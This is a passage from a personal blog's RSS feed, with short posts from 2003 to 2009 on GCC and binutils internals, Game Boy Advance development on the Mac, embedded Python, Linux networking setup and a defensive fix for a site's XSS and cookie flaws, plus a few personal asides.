      <guid>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</guid>
      <description>&lt;p&gt;‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.&lt;/p&gt;
&lt;p&gt;Took a while to figure this out&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Extreme optimisation</title>
      <link>https://juju.nz/michaelh/2009/04/extreme-optimisation/</link>
      <pubDate>Fri, 17 Apr 2009 07:40:46 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/04/extreme-optimisation/</guid>
      <description>&lt;p&gt;GCC is crazy.Â  It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.&lt;/p&gt;
&lt;p&gt;builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Canterbury innovation incubator</title>
      <link>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</link>
      <pubDate>Sun, 05 Apr 2009 05:08:53 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</guid>
      <description>&lt;p&gt;The 
&lt;a href=&#34;http://www.cii.co.nz/index.shtml&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Cii&lt;/a&gt; seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding new relocation types</title>
      <link>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</link>
      <pubDate>Mon, 30 Mar 2009 08:44:32 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</guid>
      <description>&lt;p&gt;For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>binutils / bfd target magic</title>
      <link>https://juju.nz/michaelh/2009/03/48/</link>
      <pubDate>Mon, 02 Mar 2009 08:49:27 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/03/48/</guid>
      <description>&lt;p&gt;So the BFD architectures listed in &lt;tt&gt;bfd.h&lt;/tt&gt; are actually defined &lt;tt&gt;archures.c&lt;/tt&gt; in a big comment block at the start of the file.Â  This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.&lt;/p&gt;
&lt;p&gt;Note that a ‘make headers’ doesn’t re-build it.Â  I found a ‘make distclean; ./configure’ was the most brute force way.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Python on an embedded system</title>
      <link>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</link>
      <pubDate>Thu, 19 Feb 2009 07:17:49 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</guid>
      <description>&lt;p&gt;I like Python.Â  I want to use Python everywhere.Â  Hmm.Â  Sounds more like an addiction.Â  The question is, is Python suitable as a glue language on a embedded Linux system?&lt;/p&gt;
&lt;p&gt;With a few hacks Python 1.5.2 cross compiles just fine.Â  The speed will be acceptable so it’s really only the size that matters.&lt;/p&gt;
&lt;p&gt;A standard build under x86 is 12.6M. From there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stripping python saves 1.1M&lt;/li&gt;
&lt;li&gt;Removing man and include saves 400k&lt;/li&gt;
&lt;li&gt;Removing *.py and *.pyo saves 2.8M but still lets everything run&lt;/li&gt;
&lt;li&gt;Removing Tk, Config, and stdwin saves 3.9M&lt;/li&gt;
&lt;li&gt;Removing test saves 1.9M&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â  Quite respectable.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Naming</title>
      <link>https://juju.nz/michaelh/2009/02/naming/</link>
      <pubDate>Sun, 01 Feb 2009 19:20:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/02/naming/</guid>
      <description>&lt;p&gt;For personal reference.Â  What happens when you follow too strict of a naming convention:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html&#34;&gt;http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hmm</title>
      <link>https://juju.nz/michaelh/2008/11/hmm/</link>
      <pubDate>Wed, 26 Nov 2008 08:42:41 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/11/hmm/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://www.ladyada.net/make/fuzebox/index.html&#34;&gt;http://www.ladyada.net/make/fuzebox/index.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1&#34;&gt;http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Anthony’s</title>
      <link>https://juju.nz/michaelh/2008/09/anthonys/</link>
      <pubDate>Tue, 30 Sep 2008 03:27:51 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/09/anthonys/</guid>
      <description>&lt;p&gt;…fish grotto on the bay in San Diego is very good.&lt;/p&gt;
&lt;p&gt;They also do seafood.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Richard Stallman</title>
      <link>https://juju.nz/michaelh/2008/08/richard-stallman/</link>
      <pubDate>Sat, 16 Aug 2008 07:12:53 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/08/richard-stallman/</guid>
      <description>&lt;p&gt;Saw RMS at Canterbury University today.Â  He has an interesting point of view, very liberal, but also a point of view that is based on old technology.&lt;/p&gt;
&lt;p&gt;He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â  The solution is to install your own version on your own machine.Â  I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â  I don’t want to manage any of the software I use, and one solution is to let someone else do it.&lt;/p&gt;
&lt;p&gt;He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â  However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â  Both I could fix with the source.Â  Then you have car computers such as the Nissan GT-R that 
&lt;a href=&#34;http://www.autojab.com/on-a-race-track-nissan-gt-r-disables-speed-limiter-via-gps/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;changes the car response if it is on a race track&lt;/a&gt;.Â  I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.&lt;/p&gt;
&lt;p&gt;Hmm.Â  Perhaps the embedded/mechanical equivalent is the 
&lt;a href=&#34;http://www.flickr.com/photos/pmtorrone/306528267/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Maker Bill of Rights&lt;/a&gt; from Make Magazine.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Zen of website maintenance</title>
      <link>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</link>
      <pubDate>Wed, 06 Aug 2008 09:49:28 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</guid>
      <description>&lt;p&gt;A certain website had a few vuneribilities including XSS and leaking passwords.Â  The fixes were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;script&gt; tag was turned on for pending users.Â  Configure off. Â All other users get their tags filtered against a safe list&lt;/li&gt;
&lt;li&gt;The superuser always skips the filter and sees all tags. Â I can’t fix this, but I’ve changed the cookie so that its not useful to a cookie catcher&lt;/li&gt;
&lt;li&gt;The ‘password’ in the cookie was just a hash of the password.Â  It is now a hash of the password, the IP address of the client, and a secret. Â A leaked password should only be usable from the same IP&lt;/li&gt;
&lt;li&gt;The ‘password’ field has been removed from all forms and replaced with cookie based authentication&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Fun and games with Python vs C</title>
      <link>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</link>
      <pubDate>Sun, 03 Aug 2008 09:18:32 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</guid>
      <description>&lt;p&gt;I’m using Python to test the code generated by a C compiler.Â  Many of the tests are along the lines of:&lt;/p&gt;
&lt;pre&gt;a = 5&lt;/pre&gt;
&lt;pre&gt;b = 10&lt;/pre&gt;
&lt;pre&gt;result = run_c_code_for_add_in_emulator(a, b)&lt;/pre&gt;
&lt;pre&gt;assert result == a + b&lt;/pre&gt;
&lt;p&gt;This works fine except when dividing integers with rounding. Under GCC on x86, -100/30 is -3, but in Python -100//30 is -4.Â  Hmm.&lt;/p&gt;
&lt;p&gt;This has the interesting side effect that in Python 2.5 -a/b != -(a/b).&lt;/p&gt;
&lt;p&gt;The work-around seems to be to do it explicitly as int(float(a) / float(b)) is -3.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Big Mac Calories</title>
      <link>https://juju.nz/michaelh/2008/07/big-mac-calories/</link>
      <pubDate>Sun, 20 Jul 2008 05:06:45 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/07/big-mac-calories/</guid>
      <description>&lt;p&gt;Why does a NZ Big Mac have 464 calories, a UK one 495, and a US one 540?Â  It might be differences in weight but it’s hard to tell.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Seen on reddit</title>
      <link>https://juju.nz/michaelh/2008/01/seen-on-reddit/</link>
      <pubDate>Thu, 31 Jan 2008 06:13:58 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/01/seen-on-reddit/</guid>
      <description>&lt;p class=&#34;md&#34;&gt;
  A man goes to his doctor and tells him, &amp;#8220;I&amp;#8217;ve had the song &amp;#8216;What&amp;#8217;s New Pussycat&amp;#8217; stuck in my head for weeks, and it&amp;#8217;s driving me crazy.&amp;#8221;
&lt;/p&gt;
&lt;p&gt;The doctor says, “Well, I think you may have Tom Jones disease.”&lt;/p&gt;
&lt;p&gt;The man says, “I’ve never heard of that. Is it rare?”&lt;/p&gt;
&lt;p&gt;The doctor says, “It’s not unusual.”&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Moving to Dreamhost</title>
      <link>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</link>
      <pubDate>Thu, 13 Dec 2007 08:05:22 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</guid>
      <description>&lt;p&gt;Thought I’d move from Rimu Hosting to Dreamhost.Â  The VPS we’re on is just too slow and anything that brings the load down is good.&lt;/p&gt;
&lt;p&gt;I can’t move the secure sites as Dreamhost doesn’t provide any type of SSL, even a self signed cert from the wrong address, without switching to a static IP and handing over $50 US a year.&lt;/p&gt;
&lt;p&gt;And as always happens, I got part way into the move and accidentally brokeÂ  something on the original and had to do a rush switch.Â  Ah, well.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Comparing integers</title>
      <link>https://juju.nz/michaelh/2007/12/comparing-integers/</link>
      <pubDate>Thu, 13 Dec 2007 08:02:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2007/12/comparing-integers/</guid>
      <description>&lt;p&gt;Notes for next time:&lt;/p&gt;
&lt;p&gt;You can check if the unsigned integer ‘a’ is greater than ‘b’ by adding the ones complement of ‘b’ to ‘a’ and testing carry.Â  A twos complement subtraction doesn’t work as a &amp;gt; 0 is always false.&lt;/p&gt;
&lt;p&gt;Signed integers are similar but you first add &lt;tt&gt;0x80000000&lt;/tt&gt; to both a and b.Â  This makes both unsigned without changing the order.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Test after move</title>
      <link>https://juju.nz/michaelh/2005/12/test-after-move/</link>
      <pubDate>Tue, 06 Dec 2005 08:21:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/12/test-after-move/</guid>
      <description>&lt;p&gt;All relocated and imported. Now does posting work?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Engines for metaphilter&#43;&#43;</title>
      <link>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</link>
      <pubDate>Tue, 20 Sep 2005 08:41:56 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;http://www.djangoproject.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Django&lt;/a&gt; looks quite decent. Python (not PHP – good), built in basic admin, built in basic user accounts, and the template system is directly applicable to metaphilter.&lt;/p&gt;
&lt;p&gt;I’ll give it a try using sqlite 3.2.6 and pysqlite 2.0.4.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Planet Planet Planet</title>
      <link>https://juju.nz/michaelh/2005/09/planet-planet-planet/</link>
      <pubDate>Sat, 03 Sep 2005 08:47:45 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/09/planet-planet-planet/</guid>
      <description>&lt;p&gt;Planet Planet Planet Mushrooms Mushrooms!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Automatic PC fan control</title>
      <link>https://juju.nz/michaelh/2005/06/automatic-pc-fan-control/</link>
      <pubDate>Sun, 12 Jun 2005 07:45:53 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/automatic-pc-fan-control/</guid>
      <description>&lt;p&gt;Use a Atmel 
&lt;a href=&#34;http://www.sicom.co.nz/xurl/PageID/2214/function/viewprd/prd_id/92602/pmm_id/0/8-bit-mcu-w2k-bytes-flash-20-dip.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ATTINY26&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;as a serial port based fan controller for a PC. Tracy’s machine is very noisy but has built in sensors for the CPU and case temperature. Use a PC app to do closed loop control on the temperature. Run it hot-ish as the cooling effect increases with the temperature differential so the hotter it runs the slower the fan needs to run.&lt;/p&gt;
&lt;p&gt;Use a FET for the fan drive. The reset case on the micro will be full noise. Could also use the on-board ADC and a resistor divider to sense the back EMF when the PWM is off to get an idea of fan speed.&lt;/p&gt;
&lt;p&gt;It should be very cheap – the micro is $6.20 and there is _very_ little support circuitry. Instead of using the CPUs sensor, you could add 1-wire or similar temperature gauges directly to the Atmel but at significant additional cost.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Infinite Power!</title>
      <link>https://juju.nz/michaelh/2005/06/infinite-power/</link>
      <pubDate>Sat, 11 Jun 2005 10:55:17 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/infinite-power/</guid>
      <description>&lt;p&gt;Noooooooooooooooooooooooo_ooooooooooooooooooooooooo_!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ratchet &amp; Clank</title>
      <link>https://juju.nz/michaelh/2005/06/ratchet-clank/</link>
      <pubDate>Fri, 10 Jun 2005 09:27:05 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/ratchet-clank/</guid>
      <description>&lt;p&gt;Woo. All done. Reasonable length, very linear, and a bit…easy. Solution to the big bad: empty 200 blaster rounds for stage 1. Re-stock using the PDA. Empty 200 rounds for stage 2. Re-stock. Tesla coil for the mines and groundies, and blaster, tesla, and devistator for stage 3.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Wireless temperature cluster</title>
      <link>https://juju.nz/michaelh/2005/06/21/</link>
      <pubDate>Wed, 08 Jun 2005 09:01:25 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/21/</guid>
      <description>&lt;p&gt;For measuring the vertical temperature gradient cheaply at different stations across about a heactare of land. A heactare is 10000 m^2 or about 100×100 metres. You could use a set of 
&lt;a href=&#34;http://www.maxim-ic.com/products/ibutton/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1-wire&lt;/a&gt; temperature sensors in a local cluster. Use a 433MHz radio link and coding similar to 
&lt;a href=&#34;http://www.circuitcellar.com/library/print/0604/RicciBitti-167/index.htm&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;this wireless mouse trap&lt;/a&gt; and a battery pack to give greater than six month life.&lt;/p&gt;
&lt;p&gt;It would need something to collect the information as you don’t want a laptop to be on all of the time. The individual stations could keep transmitting a rolling few days of data or use something like 
&lt;a href=&#34;http://mrtg.hdl.com/mrtg.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MRTG&lt;/a&gt;‘s methods of collating data. Or keep something low power on all of the time that also decodes the protocol and provides a serial interface.&lt;/p&gt;
&lt;p&gt;Basic costs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Transmitter ~$4.20US&lt;/li&gt;
&lt;li&gt;Dallas 18B20 sensor – $2.57US&lt;/li&gt;
&lt;li&gt;Atmel ATTINY or similar – $5NZ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mechanicals including a waterproof box and antenna, if any, would double the cost.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Power off on power button</title>
      <link>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</link>
      <pubDate>Mon, 30 May 2005 07:24:15 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</guid>
      <description>&lt;p&gt;Squishy, the Linux box, runs MythTV. It’s a bit tricky to turn off so it would be nice to have it turn off on pressing the power button. Turns out Ubuntu has everything there by default provided by &lt;tt&gt;acpi&lt;/tt&gt;, &lt;tt&gt;acpid&lt;/tt&gt;, and &lt;tt&gt;acpi-support&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html&#34;&gt;http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.mjmwired.net/resources/redhat8-acpi.html&#34;&gt;http://www.mjmwired.net/resources/redhat8-acpi.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Playing with ndiswrapper</title>
      <link>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</link>
      <pubDate>Sun, 29 May 2005 08:07:43 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</guid>
      <description>&lt;p&gt;Very impressed so far. Purchased a Dick Smith 
&lt;a href=&#34;http://www.dse.co.nz/cgi-bin/dse.storefront/4299766c0d648674273fc0a87f9907a0/Product/View/XH8227&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;XH8227 802.11g USB&lt;/a&gt; network adapter as they were on closeout for a reasonable price. There are efforts to get a 
&lt;a href=&#34;http://jbnote.free.fr/prism54usb/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driver going natively&lt;/a&gt; using the 
&lt;a href=&#34;http://prism54.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;prism54.org&lt;/a&gt; drivers as a base but I wanted to get things up and going quickly.&lt;/p&gt;
&lt;p&gt;Got confused at first as I loaded the PCI drivers into ndiswrapper first and then couldn’t figure out why it couldn’t find the card. It came up quite quickly from there. My &lt;tt&gt;/etc/network/interfaces&lt;/tt&gt; ended up being:&lt;/p&gt;
&lt;pre&gt;# The loopback network interface
auto lo wlan0
iface lo inet loopback

# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
        script grep
        map eth0

# The primary network interface
iface eth0 inet static
      address 192.168.2.2
      netmask 255.255.255.0

iface wlan0 inet dhcp
      wireless-key &amp;lt;secret&gt;
      wireless-essid Call&amp;lt;secret&gt;
      hostname squishy
&lt;/pre&gt;
&lt;p&gt;Added &lt;tt&gt;mdnsresponder&lt;/tt&gt; to squishy and now I can ping squishy from my iBook. Added &lt;tt&gt;libnss-mdns&lt;/tt&gt; and edited &lt;tt&gt;/etc/nsswitch.conf&lt;/tt&gt; to have &lt;tt&gt;hosts: files dns mdns4&lt;/tt&gt; and now I can ping crush.local from squishy. Nice. No DNS server incolved.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MonkeyFilter downtime</title>
      <link>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</link>
      <pubDate>Mon, 16 May 2005 08:45:11 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</guid>
      <description>&lt;p&gt;My web host took down my account due to a WordPress administration script taking up all of the CPU. For some reason four copies of the &lt;code&gt;wp-admin/categories.php&lt;/code&gt; script were spinning pushing the load average above 20. It isn’t linked from any of the user scripts and there were no direct accesses in the access log, and I haven’t used WordPress since, well, the last post so it really is a mystery.&lt;/p&gt;
&lt;p&gt;I’ve upgraded to 1.5.1 and added an Apache level password on the admin area as defensive measures.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Experiments with Fuse</title>
      <link>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</link>
      <pubDate>Mon, 25 Apr 2005 08:22:16 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;http://fuse-emulator.sf.net/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Fuse&lt;/a&gt; is a quite complete Spectrum emulator with a very good Z80 core already used in the 
&lt;a href=&#34;http://www.chuntey.com/eightyone/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;EightyOne&lt;/a&gt; Windows only ZX81 emulator. The core has many hooks in it for the various Spectrum functions that go on and is not as clean to separate out as I hoped – I’ll have to do a simple fork of it, clean out the Fuse parts and then put in the ZX81 parts.&lt;/p&gt;
&lt;p&gt;There are other raw speed issues with the at least registers being in statics and memory being accessed through helper functions that will mean it is too slow on the GBA. One thing at a time though. First I’ll get the core running under ncurses on the Mac, then in a simple text mode on the GBA, then we’ll have a look at the speed. A good thing about the ZX81 is that the basic screen mode is pure(-ish) text encoded in a simple way so it can be rendered to a console easily.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Mapping MonkeyFilter</title>
      <link>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</link>
      <pubDate>Wed, 20 Apr 2005 08:25:26 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</guid>
      <description>&lt;p&gt;I’m quite impressed with xplanet (&lt;a href=&#34;http://xplanet.sf.net/)&#34;&gt;http://xplanet.sf.net/)&lt;/a&gt;. You can give it a text file containing lat, long, and markers and generate a map of the world with people’s locations on it. Put it on a Wiki so people can edit it and you get&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://wiki.monkeyfilter.com/index.php?title=MonkeyMap&#34;&gt;http://wiki.monkeyfilter.com/index.php?title=MonkeyMap&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The tricky thing is figuring out how to do just part of the world, such as North America. The world map is a projection but you can’t zoom in on a projected view. Turns out you can put it in globe mode, centre on the area you want to record, and zoom in so that it looks flat.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Closer, closer</title>
      <link>https://juju.nz/michaelh/2005/04/closer-closer/</link>
      <pubDate>Fri, 08 Apr 2005 09:07:48 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/closer-closer/</guid>
      <description>&lt;p&gt;DKA R4 really didn’t work out. Got DKA R4-beta5 out of the Sourceforge CVS. It needed a bit of massaging but it compiled. &lt;em&gt;And&lt;/em&gt; some of the examples compile. &lt;em&gt;And&lt;/em&gt; run.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And&lt;/em&gt; my Xport arrived yesterday. It worked OK off my Linux box once I set the port to SPP from EPP.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Compile!</title>
      <link>https://juju.nz/michaelh/2005/04/14/</link>
      <pubDate>Wed, 06 Apr 2005 08:42:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/14/</guid>
      <description>&lt;p&gt;Getting crt0.s to work with devkitARM seems more effort than getting DKA to compile under the Mac. Got DKA release 4. Doesn’t build out of the box but built in the end. Unfortunatley my xport copy is quite broken so I can’t tell if the current problems are due to DKA 4 vs DKA 5 or the modifications I made while playing with devkitARM.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MonkeyFilter transfer</title>
      <link>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</link>
      <pubDate>Sat, 02 Apr 2005 09:56:29 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</guid>
      <description>&lt;p&gt;Changed over to WordPress and I notice my first posts were about MonkeyFilter’s transfers.&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;416MB after about 20 days
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;59MB in 18 hours &lt;/ul&gt;
Now:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;443MB in the first day of the month
&lt;ul&gt;
&lt;li&gt;10.25GB for March &lt;/ul&gt;
The growth for the last three months has been 8.24G to 9.06G to 10.25G or 10 to 13% per month. Compound that to 390% yearly growth. Hope not.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>GDB</title>
      <link>https://juju.nz/michaelh/2005/04/gdb/</link>
      <pubDate>Sat, 02 Apr 2005 08:56:38 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/gdb/</guid>
      <description>&lt;p&gt;So GDB 6.3 doesn’t compile out of the box on a Mac for a couple of reasons – it assumes the localisation library ‘intl’ source is available as well and it has compilation problems with one of the ARM protocol interfaces. The code uses a #ifdef on __linux or CYGWIN to detect a Unix platform and goes to Windows otherwise.&lt;/p&gt;
&lt;p&gt;Got GDB 6.0 with the rest of the tool chain from the GNU ARM project – &lt;a href=&#34;http://www.gnuarm.com/&#34;&gt;http://www.gnuarm.com/&lt;/a&gt;. It connects into VisualBoy fine.&lt;/p&gt;
&lt;p&gt;Next is to compare the startup files between devkitARM and DKA. I need a good debugger GUI but apparently Insight doesn’t work on the Mac. Eclipse time.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Compiling Xport for Mac OS X</title>
      <link>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</link>
      <pubDate>Thu, 31 Mar 2005 09:12:16 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</guid>
      <description>&lt;p&gt;VisualBoy Advance also has a native Mac port and has GBD support. The Mac binary is missing the debugger hooks so I’ll try compiling the SDL version.&lt;/p&gt;
&lt;p&gt;I’ve gotten one small demo to compile and run using the information at &lt;a href=&#34;http://user.chem.tue.nl/jakvijn/tonc/setup.htm&#34;&gt;http://user.chem.tue.nl/jakvijn/tonc/setup.htm&lt;/a&gt;. The critical things are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-mthumb-interwork on gcc
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;-specs=gba.specs when linking. &lt;/ul&gt;
DarkFader’s gbafix 1.03 won’t work on the Mac due to endian issues.&lt;/p&gt;
&lt;p&gt;Xport uses a derivitave of the devKit Advance crt0 which is completly different to devkitArm. -nostartfiles gcc option disables the standard crt0, but the Xport crt0 uses many symbols that DKA doesn’t support.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Xport ordered</title>
      <link>https://juju.nz/michaelh/2005/03/xport-ordered/</link>
      <pubDate>Wed, 30 Mar 2005 09:30:40 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/03/xport-ordered/</guid>
      <description>&lt;p&gt;I ordered my 
&lt;a href=&#34;http://charmedlabs.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Xport 2.0&lt;/a&gt; for the GBA today. To do things the hard way, I’ve decided to get everything going under Mac OS X 10.3.&lt;/p&gt;
&lt;p&gt;Notes so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Got the devkitARM r11 binaries for Mac. devkit Advance is apparently depreciated. Gives me gcc 3.4 at least.
&lt;ul&gt;
&lt;li&gt;Got the Xport Windows tools distribution from charmedlabs.com. Extracted it out and copied it over.
&lt;ul&gt;
&lt;li&gt;Got Boycott Advance v0.3.5. Apparently it’s the only emulator for Mac. No debugger support or source code.
&lt;ul&gt;
&lt;li&gt;The pre-built binaries work fine under Boycott.
&lt;ul&gt;
&lt;li&gt;Tried to re-compile the helloworld_c example. It links but doesn’t run.
&lt;ul&gt;
&lt;li&gt;The libgba supplied with Xport is unrelated to libgba from DKA.
&lt;ul&gt;
&lt;li&gt;Got the xport distribution from the sourceforge CVS. &lt;/ul&gt;
Next step is to re-build the Xport libgba and go from there.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Overscan and audio CDs</title>
      <link>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</link>
      <pubDate>Sat, 29 Nov 2003 03:08:33 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</guid>
